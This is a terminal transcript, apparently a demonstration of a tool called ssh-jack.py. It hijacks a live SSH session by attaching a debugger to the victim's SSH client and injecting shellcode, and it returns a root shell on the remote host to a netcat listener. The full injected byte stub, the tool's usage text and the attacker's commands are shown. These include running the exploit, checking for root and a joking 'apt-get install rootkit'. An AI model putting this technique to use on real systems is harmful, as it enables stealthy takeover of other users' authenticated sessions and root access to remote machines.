----------------------- Innocent User Shell 1: ----------------------- metlstrm@metal-2:~$ ssh root@tungsten root@tungsten's password: Last login: Mon Apr 25 17:47:35 2005 from 192.168.158.1 on pts/0 Linux tungsten 2.4.19 #1 Sun Aug 17 18:29:48 NZST 2003 i586 unknown 16 Jan 2k3 - Metl: Tungsten returns home. Has upper 4MB of ram turned back on, 28k8 reactivated, X removed. Poor old tungsten, back to the grindstone. You have new mail. Last login: Mon Apr 25 17:47:35 2005 from 192.168.158.1 root@tungsten:~# ---------------------- Evil Haxor Shell 1: ---------------------- metlstrm@metal-2:~$ nc -l -p 1337 ---------------------- Evil Haxor Shell 2: ---------------------- metlstrm@metal-2:~$ ps auxw | grep ssh\ root@ metlstrm 4588 0.0 0.1 4044 1792 pts/2 S+ 14:06 0:00 ssh root@tungsten metlstrm@metal-2:~$ /tmp/ssh-jack.py Usage: /tmp/ssh-jack.py pid host port pid: process ID of target SSH client process host/port: tcp socket where you'd like the shell delivered Attaches a debugger to the running SSH process, convinces it to give you a shell at the remote end. Note that you must be able to ptrace the target pid; ie, be root or the same user. Use netcat to listen for the incoming shell, or equivilent. Version: 1.02 metlstrm@metal-2:~$ /tmp/ssh-jack.py 4588 localhost 1337 Connecting to /usr/bin/ssh running as pid 4588... Connected Ferreting out some useful symbols... Located libc symbol 'socket' at 0xb7e19a50 Located libc symbol 'connect' at 0xb7e195c0 Located libc symbol 'select' at 0xb7e12490 Located section '.got' 0x0807eb8c to 0x0807eef4 Located section '.plt' 0x0804aa68 to 0x0804b7d8 Located section '.text' 0x0804b7e0 to 0x08070450 Located section '.rodata' 0x08070480 to 0x0807dd6c Resolved dynamic symbol 'socket' at PLT: 0x0804b6b8 GOT: 0x0807eea8 Resolved dynamic symbol 'select' at PLT: 0x0804ad88 GOT: 0x0807ec5c Resolved dynamic symbol 'connect' at PLT: 0x0804b5f8 GOT: 0x0807ee78 Locating stub injection point... Phase 1: Find magic string in .rodata... 0x0807139c Phase 2: Find where magic string is used... 0x0804d803 Phase 3: Find three jump 0x0804d800 instructions... 0x0804d6d9 0x0804d6e1 0x0804d6e9 Phase 4: Check that there's a test 4 bytes before JS1... 0x0804d6d5 Phase 5: Determine size of local stack... at 0x0804d696: 44 bytes Injection point located: 0x0804d679 Patching PLT locs and parameters into stub... Stub: 0x9c 0x60 0xe8 0x13 0x00 0x00 0x00 0x61 0x9d 0x90 0x02 0x00 0x05 0x39 0x7f 0x00 0x00 0x01 0xb8 0xb6 0x04 0x08 0xf8 0xb5 0x04 0x08 0x55 0x89 0xe5 0x57 0x56 0x53 0x81 0xec 0x2c 0x00 0x00 0x00 0x53 0x8b 0x5d 0x04 0x43 0x43 0x43 0x68 0x00 0x00 0x00 0x00 0x68 0x01 0x00 0x00 0x00 0x68 0x02 0x00 0x00 0x00 0xff 0x53 0x08 0x89 0xc7 0x81 0xc4 0x0c 0x00 0x00 0x00 0x68 0x10 0x00 0x00 0x00 0x53 0x57 0xff 0x53 0x0c 0x81 0xc4 0x0c 0x00 0x00 0x00 0x5b 0x89 0xf8 0x89 0xfe Inserting breakpoint at safe place 0x0804ad88 Continuing execution. Waiting for breakpoint... Smacking it upside the head with a SIGWINCH to wake it up... Saving EIP Saved EIP 0x804ad88 Saving 92 bytes of code that we're about to overwrite at 0x0804d679 Injecting 92 bytes of stub at 0x0804d679 Clearing breakpoint Setting new breakpoint at 0x0804d682 Setting EIP to 0x0804d679 Continuing execution. Waiting for breakpoint... Returned from our stub! Woot! Restoring 92 bytes of old code that we overwrote at 0x0804d679 Clearing break Resetting EIP Finished cleaning up, detaching from process. Smacking it upside the head with a SIGWINCH to wake it up... metlstrm@metal-2:~$ ------------------------------- Evil Haxor Shell 1: ------------------------------- Linux tungsten 2.4.19 #1 Sun Aug 17 18:29:48 NZST 2003 i586 unknown 16 Jan 2k3 - Metl: Tungsten returns home. Has upper 4MB of ram turned back on, 28k8 reactivated, X removed. Poor old tungsten, back to the grindstone. You have new mail. Last login: Fri Apr 29 14:03:03 2005 from 192.168.158.1 root@tungsten:~# root@tungsten:~# id uid=0(root) gid=0(root) groups=0(root) root@tungsten:~# echo pwn! pwn! root@tungsten:~# apt-get install rootkit --------------------------------- Innocent User Shell 1: --------------------------------- *shell still functional*